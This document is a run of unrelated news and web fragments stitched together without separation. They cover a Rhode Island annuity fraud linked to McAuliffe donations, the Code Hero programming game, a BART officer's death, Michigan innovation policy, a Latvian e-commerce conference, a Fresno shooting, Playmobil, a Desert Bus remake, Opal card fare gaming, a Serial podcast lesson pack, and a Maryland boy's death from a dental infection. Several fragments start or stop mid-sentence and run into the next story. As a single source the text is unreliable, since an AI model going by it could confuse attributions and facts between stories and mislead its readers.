Federal court documents do not accuse McAuliffe of wrongdoing, and it wasn’t clear whether he had made money or lost money on the investments. His campaign spokesman said McAuliffe was a “passive investor” who was deceived like many others. Spokesman Josh Schwerin also said that the campaign and McAuliffe donated sums to the American Cancer Society totaling $74,000 — approximately the amount McAuliffe earned as a return on the investment and received in a campaign donation from Caramadre.
“Terry was one of hundreds of passive investors several years ago and had no idea about the allegations against the defendant — who, at the time, was widely respected by business leaders and elected officials,” Schwerin said. “The allegations are horrible and he never would have invested if he knew he was being deceived.”
Caramadre and his former employee Raymour Radhakrishnan were charged in November 2011 in a 66-count indictment accusing them of wire fraud, money laundering and witness-tampering. Both men pleaded guilty last November, the FBI said in a press release.
Federal authorities say Caramadre, through his firm Estate Planning Resources, began developing products in the 1990s that used the identities of terminally ill people to purchase variable annuities from insurance companies. The annuities offered death benefits when those annuitants died. The investments — which Caramadre allegedly made on behalf of himself, friends, family and others — included returns of all the money invested and sometimes a guaranteed profit, federal authorities said.
In 2006, Caramadre also began investing in “death-put bonds” that relied on obtaining the identities of terminally ill people, according to prosecutors. These investments allowed the owner to redeem the bonds years or decades earlier than the maturity date when the bond’s co-owner died.
The FBI, in a November 2012 press release announcing mid-trial guilty pleas by Caramadre and Radhakrishnan, said Caramadre located terminally ill people by visiting AIDS patients at a hospice, locating relatives of terminally ill people, and placing an ad in a local Catholic newspaper offering $2,000 cash to people with a terminal illness.
In 2009, Caramadre gave McAuliffe’s campaign an $26,599 contribution, including an in-kind event donation of $1,599, according to records kept by the Virginia Public Access Project.
Researcher Alice Crites contributed to this story.A new teaching tool for programming has taken it right down to the wire, fulfilling its Kickstarter pledge total just days before it was set to expire. Code Hero is essentially both a game and a programming tutor, in which players use the 'Code Gun' to shoot Javascript via the Unity 3D engine. Primer Labs, the team behind the initiative, hopes the combinations of gaming and learning will inspire kids and adults alike to try their hand at coding.The team's Kickstarter total was stuck around the $60,000 mark yesterday -- however, it received a significant boost of $50,000 over the last 24 hours, and has now reached its goal. Gamasutra spoke with Alex Peake, CEO at Primer Labs, about what he hopes to accomplish with the scheme.is a game that teaches you how to make games from inside the games themselves. It is a first-person shooter that teaches you how to shoot code with a code gun. You point at objects that contain code and copy their code into the gun to load it.Then you can select between code you've found and fire it at targets to execute the code. For example, "y+=2" will move an object up 2. meters and "player.transform.position = hitObject.transform.position" will teleport you to the target. These are real Unity API calls, not a dumbed down "coding for kids" that you must outgrow to become a pro.The game begins in a core game world called Gamebridge Unityversity's API with a series of levels that teach you the fundamentals of the Javascript programming language and Unityscript game manipulation. Everything you first learn must be combined to overcome your first boss: FizzBoss. Yes, it is what it sounds like: FizzBuzz turned into an army of 100 invading robots that you must defeat with more than just sharp reflexes and "GameObject.Destroy( hitObject );".You have to figure out how to combine the for loop modulus algorithm with GameObject finding and manipulation, which tests your understanding of the Unity scene graph itself. Defeating FizzBoss helps you prove to yourself and the world that you have earned the right to call yourself an aspiring code hero, and at that point the rest of the game worlds open up through a place called the Humantheon.The Humantheon is like a Galactic Senate chamber featuring the world's most innovative code heroes as AI constructs and mentor NPCs. You meet them and learn about their impact on computing and gaming. We have you meet Al Alcorn the founder of the game industry tell you how he didn't code Pong, he wire wrapped it! You learn how to write a pong game and can add crazy mechanics to it and turn it into your own project. When I showed David, Nick and Joachim of Unity the part where you meet Joachim the Uniter to start learning downloading and learning Unity at Unite, I actually made Joachim burst into laughter. It was a big day for our project, and we've spent every waking moment since then producing a beta fit for Kickstarting.One of the most exciting heroes in the game is a personal inspiration to our team: Jens "Jeb" Bergensten [ofcreator Mojang]. Mojang invited us to exhibit at Minecon in their indie showcase and meeting them was a turning point for us. Markus "Notch" Persson [Originalcreator] and Jeb gave us the courage to just "make available" our game in its roughest earliest form by trusting our fans to support the development. Early sales of those alphas sustained me on Ramen till now to the point where we're Kicksarting to be able to pay our whole development team to take it on full time.We have an interview with Jeb turned into an interactive Jeb character in which he tells the player about how he became the developer of, tips for someone wanting to get into the industry and a dream project he'd like to see the player attempt to create.Each of the different game worlds inhave you not just playing by but also learning how to build fundamental game mechanics. For example, we have a world much like Minecraft in which you learn how to build block harvesting and placement, inventory and crafting, all using an open-source Unity package you can download to continue playing with inside Unity3D. You own what you make based on that, so if you have an idea for a-like game, this scenario doesn't just show you how you could do it, it gives you a starter kit with an engine that you could publish and sell to all platforms.The ultimate test ofis Ship Boss, the captain of the Real Artists Ship who demands that the player literally ship a game to "beat". That will entail gamification of the development process itself, with players participating in an in-game Gamejam-like experience that helps motivate them to keep at it by showing measurable proof of progress like builds and screenshots with friends.starts with Javascript because it is the lingua franca of Web, Unity3D and server Node.js programming. We introduce the player to Javascript so they can branch into all 3 and eventually we'll take them deeper to meet the late honorable Mr. Ritchie to learn from C up and down below the Stacks into the Platforms to meet Charles Babbage and master computer hardware from the gearbox to the modern ALU's assembly.Then it will get really intense: We've got a prototype that putsplayers into direct control of VMWARE-based Linux operating systems, so we can incorporate complete full-stack operating system coding of all types down to modding and compiling kernals in-game. You can imagine the implications if we were crazy enough to demo something like that at the most recent Chaos Communications Congress with kids running tools like Backtrack and Metasploit... Hacking the full stack in-game will be necessary to produce Real Engineers with the kind of computer science it |
Chief Kenton Rainey said Tuesday evening at the hospital. “We ask everyone to give us a chance to catch our breath.”
At the hospital, Rainey and BART General Manager Grace Crunican met with Smith’s family. BART officers and sheriff’s deputies saluted as a gurney was rolled out of the hospital with an American flag draping the body, before it was put into a coroner’s van and taken away, flanked by about 10 law enforcement officers on motorcycles.
The shooting rattled residents of the sprawling apartment complex in the East Bay suburb. Rosalia Vazquez, who lives several doors down from where the shooting occurred inside the Park Sierra Apartments, said she wasn’t home at the time. But she knew when she arrived home that something had happened because the apartment door was barricaded.
“It’s pretty quiet usually. It’s the reason I moved here,” Vazquez said. “I’m just in shock. I can’t imagine this happening.”
The death marked the 36th on-duty officer killed by accidental gunfire in California since 1895. The last time a police officer in Alameda County was killed by another officer was in January 2001, when two Oakland police officers shot and killed an undercover detective.
Officer William Wilkins was pursing an auto thief near 89th Avenue when Officers Andrew Koponen and Timothy Scarrott arrived as Wilkins drew his weapon on the suspect. Both officers fired several times, killing Wilkins, after they said he ignored orders to drop the weapon.
The shooting was the latest challenge for the BART system and its police force. Jan. 1 marked five years since BART police officer Johannes Mehserle fatally shot Oscar Grant, who was being detained on a platform at the Fruitvale station.
More recently, the system was shut down by failed contract negotiations that led to strikes that stranded hundreds of thousands of Bay Area commuters in July and October. Two workers were killed during the October strike, when they were struck by a train on its way to a maintenance yard as they performed track inspections in Walnut Creek.
Staff writers Denis Cuff, Lisa Vorderbreuggen, Thomas Peele and Matt O’Brien contributed to this report.The interesting thing about Michigan is that as a state it has already implemented many forward-thinking economic development strategies and policies. Michigan has been much more innovative than Washington state has been in this respect. Washington’s success has frankly been in spite of, rather than because of, state policy much of the time.
We in Washington state are getting better, but the technology sectors and the jobs they provide have been a bit taken for granted by our citizens and state government. Not so in Michigan. For example, I was going to recommend that Michigan encourage more angel investing by providing income tax deductions for angels who invest in Michigan startups. Guess what? Already done. Michigan has several other programs promoting access to capital which they should continue, as venture capital will continue to be in short supply for the foreseeable future.
Michigan should make sure it has strong programs in entrepreneurship at all the state’s colleges and universities. This is already being done through the Great Lakes Entrepreneur’s Quest, but more programs like this should be encouraged. Host lots of business plan competitions. Invite successful entrepreneurs to campus to talk to students. Help students learn the difference between a small business that stays small and one that becomes a high growth success. Encourage ambition and thinking big. UW hosts an “Environmental Challenge,” an annual competition for the best green idea. Hundreds of students participate from across the state. Dozens of us attend to judge it and other competitions to encourage the next crop of entrepreneurs. Grow a new generation of smart, idealistic and energetic entrepreneurs and support them along the way and the business culture will change.
One thing that really impressed me when I visited Austin, Texas several years ago was how they celebrated their entrepreneurs. In their uniquely-Texas-charming way, they just bragged about how many cool software companies they had and how great the CEOs were. The community—mayor, chamber, venture capitalists—supported entrepreneurs in any way they could and they made a big deal out of an industry which was actually quite small at the time. Through marketing their region externally and nurturing the companies they did have, they grew what was a small set of companies into a sector. I would copy them.
Here is a don’t: Don’t chase after out-of-state businesses with big tax breaks. It’s so last century and it is a big waste of time and taxpayer money. Really focus on growing your own.
Lastly, and most importantly, really support your higher education system, especially your research universities. This is an area where Michigan is truly world class. Take very good care of University of Michigan and Michigan State University, even when it is difficult to because of budget constraints. They are creating knowledge and the next generation of top-flight scientists, engineers, and entrepreneurs. Some will leave the state, but many will stay—especially as more local companies have great jobs for them. You grow an innovation economy first, last and always with smart, creative and talented people.
[Editor’s note: To help launch Xconomy Detroit, we’ve queried our network of Xconomists and other innovation leaders around the country for their list of the most important things that entrepreneurs and innovators in Michigan can do to reinvigorate their regional economy.]
Susannah Malarkey is the Executive Director of the Technology Alliance, a statewide organization of leaders from technology businesses and research institutions dedicated to Washington's long-term economic success Follow @
Trending on XconomyThis year’s the biggest e-commerce forum ECOM21 2015 in Latvia has allocated great attention to Bitcoin and Blockchain development in the Baltic states. The conference gathered 500 attendees and 39 speakers from 32 countries.
Experts stressed the idea that Blockchain technology can penetrate deeper into e-commerce. Well-recognized figure within the Scandinavian e-commerce industry, founding partner of Alvaldi Consulting, and Chairman of Steering Commitee at Hyper Island, Sïmon Saneback, commented exclusively to Cointelegraph:
“There was a big portion of the conference that was dedicated to Bitcoin which was fantastic to see and quite odd to me to experience in an e-commerce conference. I've learned some interesting aspects of the Blockchain technology and Bitcoin that I wasn't aware of before ECOM21.”
ECOM21 2015 ended on the 20th of November in Riga, Latvia. This is the 4th edition of the conference, organized by the Business Conference Group. Themes included traditional e-commerce forms of payments, e-wallets, P2P lending, stores in social networks, regulation and development of alternative banking, how mobile payment systems are affecting the industry and of course Bitcoin and Blockchain technology.
Saneback continued:
“I was thinking of investing in Bitcoin a couple of years ago when the trend was hot, but ended up not doing it due to instability at that point in time.”
Addressing the seven points in the development of e-commerce, Saneback added:This article is over 1 year old
Police in California say suspect wanted to kill as many white people as possible and incident appears to have no terrorism link
Three white men have been shot and killed by a black gunman in Fresno, California, in a suspected race attack, police have said.
The suspect, Kori Ali Muhammad, allegedly said “God is great” in Arabic before he was arrested, the police chief, Jerry Dyer, said at a news conference on Tuesday afternoon.
However, Dyer said the shooting did not appear to be connected to terrorism.
“He [Muhammad] did clarify that the reason he had made that statement was that in the event that anything did happen to him he was in fact pledging his allegiance to God for protection,” he said.
Muhammad wanted to kill as many white people as possible before going to jail, Dyer said, adding: “This is solely based on race.”
The shooter fired 16 rounds in less than a minute in the central California city, killing a passenger in a utility van and two pedestrians.
Facebook Twitter Pinterest Jerry Dyer, the Fresno police chief, reviews his notes on the triple fatal shooting before addressing the media. Photograph: John Walker/AP
Muhammad is also a suspect in the fatal shooting of a security guard at a Motel 6 on the night of 13 April, Dyer said, and had a criminal record that included weapons violations, drugs, false imprisonment and terrorist threats.
His Facebook page expressed “anti-government sentiment” and included “some posts that say he does not like white people”, Dyer said. All four victims were white men.
Dyer said that the police planned to charge Muhammad with four counts of homicide and two counts of attempted murder. He also said that the FBI had been contacted “based on the statement [Muhammad] made today and based on some of the postings he made on Facebook”.
Facebook Twitter Pinterest Photographs released by the Fresno police department of shooting suspect Kori Ali Muhammad. Photograph: Fresno police/AFP/Getty Images
“I’m certain they’ll be interested in this case,” Dyer added.
The shooting happened outside a Catholic Charities building but a spokeswoman, Teresa Dominguez, said the charity did not believe the suspect was linked to the non-profit organisation.
The three victims have not been identified. One was a passenger in a Pacific Gas & Electric vehicle. The driver of the vehicle drove to the police station after the shooting to alert the police. The other two are believed to be clients of Catholic Charities, a food pantry and social services provider.
Tina Stevenson, a care provider who works in the neighbourhood, said the shooting had caused chaos and panic in the area, where many elderly residents live.
“People were running, screaming and hysterical, not knowing if they were going to lose their lives in the blink of an eye,” said Stevenson, 48, who arrived just after the shooting ended.
Facebook Twitter Pinterest Tina Stevenson near the scene of the shooting in Fresno, California. Photograph: Sam Levin for the Guardian
Residents were still trying to process the news hours later, Stevenson said. “We can’t understand what would go through a man’s mind and make him kill innocent souls.”
Mercedes, who lives across the street and declined to give her last name, said residents hid when they heard the gunshots.
“We went inside really fast when it happened,” she said, adding that she was at first afraid that the shooting could have occurred at a nearby school. But, she said, “we hear [gunshots] quite often.”
Stephanie Aguilar, 22, who lives nearby, stood by the crime scene on Tuesday afternoon, where the surrounding streets remained closed off by caution tape and guarded by police officers.
“It’s so dangerous here. There are a lot of shootings,” she said. “I worry about these things happening outside on the streets.”
Aguilar said there was often gang-related violence in the area, but that she had never heard of a random killing. “This is crazy.”
“Our city is in need of lots of prayer,” added Stevenson.Playmobil sets are developed by a 50 strong development team in Germany. The toys have been developed since 1975 and have managed to garner great admiration for their offerings to the toy market.
As parents of three daughters, we have bought a lot of the sets for my girls and as a result of the durability of Playmobil, they have enjoyed them for a very long time. There are days when they can spend a considerable amount of time on their own creating worlds in their imagination using the Playmobil characters and sets. It is the only toy set apart from Lego that they love and have consistently loved.
The attention to detail Playmobil employs, sets it apart from regular play set manufacturers and your children will pick up on that difference.Entertainer and magician Penn Jillette, who you probably recognize as one half of Penn and Teller, is working on a virtual reality remake of Desert Bus with Gearbox CEO Randy Pitchford.
The original Desert Bus - a mini-game featured in the never-released 1995 Sega CD title, Penn & Teller's Smoke and Mirrors - is played annually by charity organization Desert Bus for Hope, which last November raised over $600,000 by playing the game for 159 hours straight.
According to Jillette the remake will only be made available for charities, such as Desert Bus for Hope, and will be released as part of a larger bundle.
"I'm working on a game. I'm working with Randy Pitchford, and we're going to do – and this is a big, big deal – we’re going to do a new Desert Bus and it’s going to be just for charities, so charities can use it to raise money," said Jillette, speaking on the latest episode of his podcast, Penn's Sunday School.
"We're doing a couple other games. It’ll be a bundle; we’re talking to a bunch of people. It'll probably be agnostic in terms of platform, and it’ll probably be for the Oculus Rift and PlayStation VR."
To date the Desert Bus for Hope team have raised over $3.1 million for Child's Play, a charity that donates toys and games to children's hospitals around the world.Commuters use Pyrmont stops to beat the Opal card. The system creates an incentive for commuters to reach the eight journeys with cheap travel early in the week. However, some commuters have discovered it is possible to reach one "journey" by tapping on and off at nearby light rail or train stops three times. Under the changes announced by Mr Constance, one journey will now include up to seven transfers instead of three. A "transfer" occurs when a user travels multiple times on the same mode of transport in the one journey within the same hour. Previously, when users "transferred" more than three times in one journey – for instance, by pretending to have travelled back and forth between two light rail stops close together – a new "journey" was triggered.
But the changes announced on Monday mean users will have to transfer more than seven times on the one mode of transport to trigger another journey for the purposes of the free weekly travel after eight journeys. Commuters have mostly been gaming the Opal card fare rules at light rail stops positioned close together. The government released video footage of people swiping multiple cards and roller blading between readers at stations in order to gain free travel later in the week. There is a gap of only 300 metres between stops at the Star and Pyrmont Bay. This has allowed energetic and thrifty Opal card holders to fill their card for $18 with about 90 minutes worth of tapping on and off. But under Mr Constance's changes, the time taken to fill an Opal card running between the Star and Pyrmont Bay would extend to about five hours. The government estimates that "Opal running" has resulted in lost revenue of up to $2 million over the past year. "What we are saying very clearly is, 'no more Opal running'," Mr Constance said.
Labor's new transport spokeswoman, Jodi McKay, accused the government of "making it up as as it goes along". "One minute the Transport Minister – now Treasurer [Gladys Berejiklian] – is exhorting people to 'beat the system', now her successor is cracking down," she said. In a bulletin, Transport for NSW advised service operators that the changes have been made "to mitigate customers exploiting" Opal. The bulletin said some commuters had been "walking, running, cycling or driving between train stations and light rail stops in close proximity, and tapping on and tapping off, without making the journey on the relevant transport service". It also noted that some commuters had paid a fee to people to swipe their cards in order to reach eight completed journeys and gain free travel.
In a draft report released just before Christmas, the Independent Pricing and Regulatory Tribunal proposed sweeping changes to public transport fares, including an end to the free travel after eight journeys in a week and a tightening of eligibility for the Gold Opal card.
The pricing regulator was scheduled to release a final on Opal fares by the end of March. However, last week Mr Constance extended the deadline for IPART to deliver that report until the end of May.Product Description
Standards-Based Serial
If you enjoy season 1, you might also enjoy season 2.All Season 1 Serial units are now available. If you think you might use all 5 units, we recommend purchasing them as a bundle, and saving 20%. Click here for the Serial bundle, covering all 12 episodes.Mentioned by The Wall Street Journal and featured by Slate.com, ten full lessons of teacher guides and printable student worksheets covering season 1, episode 1 of the podcast "Serial." This set of ten exercises, when used as a unit, can take between four and five days to complete, however each exercise stands alone, and can be used independently.What's terrific about studying Serial is that it engages students in a contemporary story which is actually more conducive to teaching the standards than a classic novel. Students get to practice their reading, listening and problem-solving skills by seeking out primary sources (such as maps, voice recordings, letters and other multimedia resources). This is a great unit for project-based learning (PBL).Each exercise begins with a description of how the exercise aligns to common core ELA standards in reading, writing, language, and listening and speaking, making for easy justification of a Serial unit to administration.As of 1/29/15 we've completed four units, covering episodes 1-10. The final unit covering episodes 11 and 12 (including ideas for final projects) will be available February, 2015. You can download unit 2 here, Unit 3 here, and unit 4 here Serial, is appropriate for high school aged (9th - 12th grade) students and up. There is some sensitive language in this first episode however, so I've included a guide to navigating it should you want to avoid those sections altogether.Common Core with Uncommon Literature is happy to share these lessons with you, and ask that if you enjoy them to please rate them here, and tell others what you think. We appreciate your support, and would love to hear your feedback. You can find us on Twitter at @TheMrGodsey, and on the web at www.mrgodsey.com by Michael Godsey is licensed under a Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International LicenseOn 11 January 2007, about 30 miles from Baltimore, a boy named Deamonte Driver – a normally energetic child – came home from school not feeling well. “He kept complaining of a headache,” his mother, Alyce Driver, said. His grandmother took him to Southern Maryland Hospital Center, not far from semi-rural Brandywine, where his grandparents’ red-and-white trailer home stood in the patchy shade of a grove of trees. He was given medicines for headache, sinusitis and a dental abscess. The following day, a Thursday, Deamonte went back to school.
“That Friday he was worse,” his mother said. “He couldn’t talk.” She took him to Prince George’s County Hospital Center, where Deamonte received a spinal tap and a CT scan. “They said he had meningitis,” said Alyce. The child was rushed to the Children’s National Medical Center in Washington DC, where he underwent emergency brain surgery. “They said the infection was on the left side of his brain. They had to remove a bone.”
On Saturday, Deamonte started having seizures. “The infection came back,” Alyce said. “They had to go back in.”
The Inequality Project: the Guardian's in-depth look at our unequal world Read more
Deamonte required brain surgery again, and this time the abscessed tooth was removed too. It was a molar on the upper-left side of his mouth: a so-called “six-year molar”, one of the first permanent teeth to erupt when baby teeth are shed, and particularly vulnerable to decay. This tooth was ruined, infected to the core. Bacteria from the abscess had spread to the boy’s brain. Alyce remembered a doctor telling her: “This kid is fighting for his life.” Her world, which was fraught with struggle on the best of days (she had been coping with homelessness since leaving a violent relationship), seemed to fall apart.
The extended family gathered around Deamonte’s bed and appealed to heaven. They called upon Jesus and asked him to save the boy. “He slept for two days straight. I said, is my baby ever going to wake up?”
Finally, Deamonte opened his eyes.
After more than two weeks at Children’s National, he was moved to the nearby Hospital for Sick Children, where he began an additional six weeks of medical treatment. He received physical and occupational therapy, did schoolwork, and enjoyed visits from his mother, his brothers and teachers from his school.
Yet Deamonte’s eyes seemed to be weak, his mother said, and his complexion got darker. On Saturday 24 February, he refused to eat – but still seemed happy. He and his mother played cards and watched a show on television, lying together on his hospital bed. After she left him that evening, he called her and said: “Make sure you pray before you go to sleep.”
Next morning she got another call. Deamonte was unresponsive. Alyce found a ride back to the hospital.
“When I got there,” she said, “my baby was gone.”
In the 21st century, thanks to professional care and advances in antibiotics and water fluoridation, reports of death by dental infection in the US are mercifully rare. But in Baltimore, experts at the University of Maryland School of Dentistry were not so surprised that a child had died, having regularly seen the grave consequences of rampant oral disease. They knew that people with good jobs and dental benefits had access to the American dental care system – but they also knew that people who were poor or working poor or underinsured, or who relied upon Medicaid, or who had no benefits of any kind, were often shut out.
Untreated cavities were common among the half a million poor, Medicaid-reliant children in Maryland, who included Alyce Driver’s boys. According to a study by the University of Maryland dental school, the pain of untreated cavities made 8% of these children cry – but Deamonte Driver did not complain about his teeth, his mother said. Maybe he felt that it was futile to complain. Or maybe he just took the pain for granted.
Deamonte had grown up in poverty, but in the shadow of great wealth and power. His grandparents’ home in Prince George’s County was about a dozen miles from Washington DC, the US capital. The state of Maryland is rich – one of the richest states in the nation.
Facebook Twitter Pinterest Deamonte Driver, who died in 2007, aged 12, after an infection from an abscessed tooth spread to his brain. Photograph: Washington Post/Getty
In November 2006, four months before Deamonte died, Prince George’s County had been featured in a lavish colour spread in Ebony magazine, under the headline “America’s Wealthiest Black County”. The story harked back to the county’s tobacco plantation past – but it was dominated by images of successful African Americans enjoying their yachts, golf courses and gated communities.
“This county embodies what we all have envisioned as the American dream,” mused one county official. “We are what America was set out to be.” But like the rest of America, Prince George’s County was a place of inequalities, nowhere more evident than in the mouths of the poor.
While affluent county residents who commuted to government and private-sector jobs enjoyed insurance coverage and a choice of medical and dental providers, poor and working-poor families grew increasingly isolated and faced dwindling access to care. Alyce Driver did not get dental benefits at any of her jobs. She was going without dental care – and so were her children.
In the summer of 2006, Laurie Norris, a lawyer for the non-profit, Baltimore-based Public Justice Center, had entered the lives of the Driver family. The organisation was conducting a series of interviews with homeless families, designed to explore their experiences with the school system. In July, Norris contacted the Drivers as part of the survey. In August, Alyce Driver called Norris back, seeking assistance with school registration.
In September, Driver called Norris again. This time she needed help with what turned out to be a much thornier problem: finding a dentist for her 10-year-old son, DaShawn, who was suffering from pain and swelling in his mouth. Several of his teeth had become decayed and were infected. Alyce explained that she had previously managed to find a dentist for DaShawn, but the dentist had discontinued treatments because he squirmed too much in the dental chair. The dentist had not referred her to another provider, and Alyce was not sure how to find one. She became discouraged.
“She had reached the limit of her understanding and ability to navigate Maryland’s complex Medicaid system,” Norris said. The lawyer joined the mother in the search. The project of finding a dentist turned out to be a major challenge even for an advocate equipped with confidence, legal training, and the support of an office and staff.
Norris began her effort by confirming that DaShawn was enrolled in Maryland Medicaid’s managed care plan, and that his care was provided through United Healthcare, one of the managed care organisations serving Maryland Medicaid beneficiaries. So she called United Healthcare’s customer service telephone number for help finding a dentist, but was transferred to Dental Benefit Providers, a separate company that administered the plan’s dental benefits.
At Dental Benefit Providers, Norris reached a customer service representative who explained that DaShawn would need to see a general dentist, who would provide a referral to an oral surgeon, who would be able to give him the treatment he needed. The representative also explained that the Medicaid portion of United Healthcare was actually called AmeriChoice: dentists providing care would be contracted to AmeriChoice, not United Healthcare. The representative searched her database, and gave Norris a list of several dozen general dentists located near DaShawn’s grandparents’ mobile home. She also warned Norris they would have to be sure the dentist was a provider under contract with “AmeriChoice through the state” – only those dentists would be part of the network providing care under DaShawn’s Medicaid plan.
Norris tasked her assistant with calling the dentists on the list to ask if they accepted “AmeriChoice through the state”. The first 26 said no.
On 5 October 2006, DaShawn finally got in to see dentist Arthur Fridley, who cleaned his teeth, took an x-ray and referred him to an oral surgeon. The oral surgeon said he could not see DaShawn until November, and that even then it would only be for a consultation.
At that appointment, Alyce Driver learned that DaShawn needed to have six teeth extracted. Unfortunately, eight days before his appointment on 16 January 2007, she had to cancel it, after finding out that her children’s Medicaid coverage had lapsed a month earlier. She suspected there had been a bureaucratic mix-up, and that the paperwork to confirm their eligibility was mailed to a homeless shelter where the family was no longer staying.
That was when Deamonte got sick.
The news of Deamonte Driver’s death appeared on the Metro page of the Washington Post on 28 February 2007, under the headline “For Want of a Dentist: Prince George’s Boy Dies After Bacteria from Tooth Spread to Brain”.
“Twelve-year-old Deamonte Driver died of a toothache Sunday. A routine, $80 tooth extraction might have saved him. If his mother had been insured. If his family had not lost its Medicaid. If Medicaid dentists weren’t so hard to find. If his mother hadn’t been focused on getting a dentist for his brother, who had six rotted teeth.”
The story went on to report the situation in Maryland and the greater Washington region; that some poor children in the state completely lacked dental coverage, while other families were travelling three hours to places such as the University of Maryland dental school to get care from dentists willing to accept Medicaid patients.
“I certainly hope the state agencies responsible for making sure these children have dental care take note, so that Deamonte didn’t die in vain,” Laurie Norris told the Post. “They know there is a problem, and they have not devoted adequate resources to solving it.”
At the time that Deamonte died, fewer than 20% of Maryland’s dentists were reported to be accepting Medicaid patients, according to Fridley, the dentist who had seen DaShawn, and who was the previous president of the state dental association. He said the system was in complete disarray.
“Whatever we’ve got is broke,” Fridley said. “[The system is not providing] access to care for these children.”
Emotions ran high at the monthly meeting of the local chapter of the National Dental Association (NDA), held shortly after Deamonte’s death. The NDA grew out of a meeting of black dentists, who were not welcome in many white dental associations, and needed their own professional organisation. In July 1913, about 30 charter members, from Maryland, DC and Virginia, gathered at a shoreline hotel in Buckroe Beach, Virginia, for the group’s first meeting. In later years, minority dentists from other states joined them.
Hazel Harper, a former professor at the dental school at Howard University, was at the meeting in March 2007. She remembered the dentist sitting next to her breaking down and sobbing: “We never would have turned that child away. We never would have let that boy die! It shouldn’t have happened.” Yet when Norris and her assistant had been searching for care for DaShawn, some of the group’s members had been called.
William Milton III, with his dreadlocks and outspoken style, did not practise in Prince George’s County. But he stood up at the meeting and said what was on a lot of people’s minds: “They are blaming it on us. They are blaming it on the dentists.”
One of Harper’s former students, Belinda Carver-Taylor, was at the meeting too. Carver-Taylor had a small office in Prince George’s County, located in a struggling shopping centre, tucked behind a grocery store and a pain clinic. The problems of the poor were not an abstraction for Carver-Taylor, who had suffered with painful dental problems as a child. She was the daughter of a single mother, who had struggled to support her family by working in a Tennessee shoe factory. After the factories started shutting down, the family moved to Maryland.
It was with her red-and-white Maryland Medicaid card that Carver-Taylor found the dental care she needed, relief from pain, and her future career. She was in high school when a dentist extracted four badly decayed molars, and made a partial denture for her.
“I was so glad to be able to eat,” she remembered.
The partial denture was not covered by Medicaid, but the dentist let her have it for free, telling her: “Do good in school!” In gratitude, she began helping around the dental office. Then she trained as a dental assistant. Then she went to dental school at Howard University, where she met Hazel Harper.
Amid the passionate discussion at the NDA meeting, the two women began to develop a plan. Children could not take themselves to the dentist – but maybe, with a mobile clinic, they could bring care to the kids.
“Those two took the ball and got it rolling,” said Milton.
On a cold morning in November 2010, the new Deamonte Driver Dental Project mobile clinic made its maiden voyage. The sparkling vehicle, larger than a school bus, decorated in tropical colours and equipped with three dental chairs, pulled up in front of its very first school: the Foundation School, where Deamonte had been a student.
“This is my dream,” declared Carver-Taylor, as she waited in the stillness for the first children to climb on board. She still carried the memory of her own childhood pain.
The steps of the mobile clinic folded down and the project manager, Betty Thomas, leaned out of the door and smiled at the waiting children. “Are you ready?”
Four little boys, dressed in khaki trousers and polo shirts, came in together and huddled shyly. Soon the clinic was humming with children. Thomas did oral health education in the front of the bus with the kids who were waiting on a little bench behind the driver’s seat. “How many times a day are we brushing our teeth?”
Facebook Twitter Pinterest Dr Belinda Carver-Taylor (left) cleans a child’s teeth inside her mobile surgery, The Deamonte Driver Dental Project. Photograph: The Washington Post/Getty Images
The first boy to climb into Carver-Taylor’s chair was quiet and polite and had four cavities. The next studied himself in her little mirror. “Hey, I got nose hairs!”
Another at first refused to open his mouth. “You’re not gonna get my teeth!” he declared.
The work went slowly. There were 50 children signed up, and between Carver-Taylor and Clark, they only managed to see about seven in the first hour. A third dentist who had volunteered had not shown up. They kept working.
“Every time I turn around, I see another child,” said Clark. “They keep popping up!”
Late in the morning, a tall 16-year-old with terrible toothache came in. Marcus Johnson said the pain felt like “a needle stabbing me in my teeth”. The boy’s case was declared a dental emergency; his mother was called, and he was swept away for immediate care to a designated “dentist in action” with an office nearby.
The 50th child to arrive was a girl who had been in Deamonte’s grade. She was pretty, with sad eyes and seven cavities. Then Marcus Johnson returned, smiling, with the first stage of an emergency root canal completed and another appointment scheduled.
“This makes it all worthwhile,” said Thomas. “To know some child who was hurting is out of pain.”
Autumn and winter passed. A violent spring came to Prince George’s County. By the time the mobile clinic reached the troubled community of District Heights in April 2011, the county had already experienced 23 homicides that year. The first child to climb aboard the mobile clinic that April morning was a tiny pre-kindergartener named Tashara Tavia Morton Dodson. She had long intricate braids and earnest eyes. On the left breast of her blue school uniform, she wore a large badge. It bore the laminated photograph of a young black man, and the inscription “RIP Daddy”.
Carver-Taylor did not comment on the badge. She placed a paper bib on the child and examined her, noting the steel crowns on some of her baby teeth. She showed Tashara the little brush she was putting on the end of her handpiece to clean her teeth. Each brush had soft bristles and was shaped like a tiny animal.
“Look! We got the giraffe! Open big, big, big!” When she was done, Tashara chose a sticker that said “excellent” and stuck it on her uniform, next to “RIP Daddy”.
The bench at the front of the van was full of children waiting to see the dentist. Tashara found a seat on the floor and waited to go back to school with her class. She explained the badge with her father’s face on it.
“The police killed him five times.” Her father had been named Trayvon Dodson. The police said that he had been armed, and possibly on drugs, when they shot him in a park on 7 March.
'Race fraud': how a college quota scandal exposed Brazil's historic racial tensions Read more
It was time for the preschoolers to return to their studies. Tashara and the others gathered to leave. They trailed past a row of daffodils and through the dented metal door back into their school. Older children arrived – more of them than expected. Carver-Taylor worked steadily, through the fourth graders, then the fifth graders, talking and joking with them.
“Oh lord, I remember fifth grade,” Carver-Taylor said. “I had my first boyfriend. Do you have a boyfriend? Good. Wait till the next grade. He gave me a little Valentine and everything.”
They started the day with more than 70 kids on the list, but 100 showed up. Some parents did not sign the consent forms but then called in, wanting their children to be seen, as project manager Betty Thomas explained a little frantically.
“C’mon! Time’s a-wasting!” she said, then turned to the next group on the bench. “OK. Let’s talk about proper brushing.”
The mobile clinic covered many miles and stopped at many schools. Carver-Taylor and her colleagues saw thousands of teeth: healthy teeth and decayed teeth and abscessed teeth. Teeth with Oreos between them. Children laughing, children weeping in terror.
Fluoride varnishes and protective sealants were applied, referrals to dental offices were made, charts were filled out, parents called. Betty Thomas, wielding her giant toothbrush, showed countless children how to clean the teeth of a grinning lion puppet.
On the frigid evening of 25 February 2012, the fifth anniversary of Deamonte’s death, Alyce Driver – by now working as a dental assistant, sometimes in Carver-Taylor’s office and sometimes on the mobile clinic – organised a memorial vigil on the steps of the Foundation School. The wind was bitter.
A small knot of family and friends gathered. Lawyer Laurie Norris – who was now working on a national level to hold state Medicaid dental programmes accountable, through her role as a senior policy adviser at the Centers for Medicare and Medicaid Services – distributed white candles from a box in the boot of her car.
